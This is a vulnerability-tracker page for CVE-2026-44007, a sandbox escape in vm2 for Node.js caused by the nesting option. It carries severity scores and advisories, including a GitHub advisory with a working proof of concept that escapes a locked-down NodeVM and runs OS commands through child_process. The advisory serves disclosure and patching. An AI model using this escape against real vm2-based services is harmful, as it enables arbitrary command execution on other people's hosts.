CVE-2026-44007

criticalpriority · track · 0EPSS 0.010 · 61 %ileDEEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.96% (61st) EPSS
CVSS 9.1 · critical
Is it mine?
8 products
Check your exposure
Who says so?
6 sources
cnnvd · enisa_euvd · fstec_bdu · cert_bund

EPSS · scored 2026-10-27

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.9
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.19.1criticalAV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:Hsecondary · ENISA EU
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 2.3 · impact 6
v3.19.9criticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:Hsecondaryexploitability 3.1 · impact 6
v3.19.1criticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:Hsecondary · OSV
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (8)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-1349vm2: Mehrere SchwachstellenDeutsch2026-05-03csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.

  • GHSA-8hg8-63c5-gwmxvm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution2026-05-07ghsa · osvUS

    ### Summary When a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised. ### Details The vulnerability is in how the `nesting: true` option interacts with the legacy module resolver. **`lib/nodevm.js:96-99`** — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox: ```js const NESTING_OVERRIDE = Object.freeze({ __proto__: null, vm2: vm2NestingLoader }); ``` **`lib/nodevm.js:268-269`** — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options: ```js const customResolver = requireOpts instanceof Resolver; const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions( requireOpts, nesting && NESTING_OVERRIDE, // ← injected when nesting:true this._compiler ); ``` **`lib/resolver-compat.js:193-197`** — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`: ```js function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all // BUG: require:false + nesting:true reaches here // override (NESTING_OVERRIDE) is applied, making vm2 available const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable } // ... } ``` **`lib/builtin.js:102-106`** — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist: ```js if (overrides) { const keys = Object.getOwnPropertyNames(overrides); for (const key of keys) { res.set(key, overrides[key]); // vm2 always injected when nesting:true } } ``` The result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`. This was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that "scripts can create a NodeVM which can require any host module," but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction. ### PoC **Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions). ```js const { NodeVM } = require('vm2'); // Host intends: nesting enabled, but require completely disabled const vm = new NodeVM({ nesting: true, require: false }); const result = vm.run(` // Step 1: require('vm2') succeeds despite require:false on the outer VM const { NodeVM: NVM } = require('vm2'); // Step 2: create an inner NodeVM with attacker-chosen require config // This inner VM has no relation to the outer VM's restrictions const inner = new NVM({ require: { builtin: ['child_process'] } }); // Step 3: execute arbitrary OS command in the inner VM module.exports = inner.run( 'module.exports = require("child_process").execSync("id").toString()' ); `); console.log(result); // uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),... ``` **Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):** ``` uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn) ``` The variant with `require: false` also works — the outer VM's require setting has no effect: ```js new NodeVM({ nesting: true, require: false }).run(` const { NodeVM: NVM } = require('vm2'); module.exports = new NVM({ require: { builtin: ['child_process'] } }) .run('module.exports = require("child_process").execSync("id").toString()'); `); // uid=1000(akshat) ... ``` Narrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled. ### Impact **Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2. **What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence. **Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access. **Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.

06

also known as (4)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

08

references (9)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan